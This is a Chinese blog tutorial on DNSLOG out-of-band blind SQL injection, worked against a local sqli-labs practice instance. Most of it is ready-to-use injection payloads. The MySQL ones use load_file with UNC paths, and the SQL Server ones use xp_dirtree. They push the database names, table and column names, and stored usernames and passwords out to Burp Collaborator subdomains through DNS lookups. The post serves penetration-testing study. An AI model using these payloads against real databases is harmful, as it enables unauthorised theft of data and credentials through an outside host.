sql盲注 解决_DNSLOG 盲注简单利用

oxo1 前言

众所周知盲注查询数据贼慢,利用 dnslog 就可以快速解决这个问题,但是利用条件也挺鸡肋的。具体原理请谷歌

1、secure_file_priv 不能为 NULL

2、支持 Windows,不支持 Linux

oxo2 工具
  • http://ceye.io/

  • http://www.dnslog.cn/

  • BurpSuite:点击 Burp ,再点击 Burp Collaborator client

  • https://github.com/ADOOO/DnslogSqlinj

oxo3 MySQL

1、获取当前数据库

http://192.168.237.128/Less-1/?id=1' and load_file(concat('\\\\',(database()),'.8enqwp3jaapnlvk6adhsaym9q0wqkf.burpcollaborator.net\\abc'))--+

3ebb2805b46f32aa51b86269dc88a20d.png

2、获取当前数据库用户名

http://192.168.237.128/Less-1/?id=1' and load_file(concat('\\\\',hex(user()),'.x97frey85zkcgkfv52ch5nhylprgf5.burpcollaborator.net\\abc'))--+

b5e80880fc40247eacbaf8499898830a.png

因为有特殊符号需要编码来传输,上面的是 hex ,解码得到 root@localhost

303d05945efc25fb93b4bd0d6154c6e3.png

3、获取表名

http://192.168.237.128/Less-1/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 3,1),'.7v3pdokir96m2u15rcyrrx387zdr1g.burpcollaborator.net\\abc'))--+

38a371fbec826dd3b8f78ff1c8d1c549.png

4、获取列名

http://192.168.237.128/Less-1/?id=1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),'.ne55w43yapp2laklash7admoqfw8kx.burpcollaborator.net\\abc'))--+

4edeed88a6a6e814525269ed6366d22b.png

5cb43f91471291050632030f3809693f.png

5、获取数据

http://192.168.237.128/Less-1/?id=1' and load_file(concat('\\\\',(select hex(concat(username,0x7e,password)) from security.users limit 0,1),'.ne55w43yapp2laklash7admoqfw8kx.burpcollaborator.net\\abc'))--+

bec13c69d3fc2f407638abfc35342991.png

df15912c262de045972f3ceec6c0611a.png

oxo4 SQL Server

1、获取库名

DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),DB_NAME())+'.p0qgrjkjvnnqxa7krdxd60peg5mvak.burpcollaborator.net';EXEC('master..xp_dirtree"\\'+@host+'\foobar$"');

67bc8012632a7d42679ca29a48c52586.png

2、获取表名

DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),(select top 1 name from sysobjects where xtype='u'))+'.p0qgrjkjvnnqxa7krdxd60peg5mvak.burpcollaborator.net';EXEC('master..xp_dirtree"\\'+@host+'\foobar$"');

434dae9a0bbfc82adb8c3594bb21186b.png

3、获取列名

DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'users') and name!='id'))+'.p0qgrjkjvnnqxa7krdxd60peg5mvak.burpcollaborator.net';EXEC('master..xp_dirtree"\\'+@host+'\foobar$"');

66e11448081ccd43d4d163294b256509.png

5e2bd53d44dfdf24125ffecca84c0bac.png

bd2100eafcace2349b4db115e71955a7.png

4、获取数据

DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),(select top 1 username from users))+'.xuv0qxkeb8f32x8ko2gfihaeo5uvik.burpcollaborator.net';EXEC('master..xp_dirtree"\\'+@host+'\foobar$"');

714a56a9660150caa9ff9106399b2804.png

31cacad96063c197e951a0768e6ca255.png

oxo5 参考

http://ceye.io/payloads

https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI/blob/master/%E4%B8%80%E7%AF%87%E4%BA%86%E8%A7%A3MSSQL.md

11eee6f5dec3d49ec40f268a4ab02e0e.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值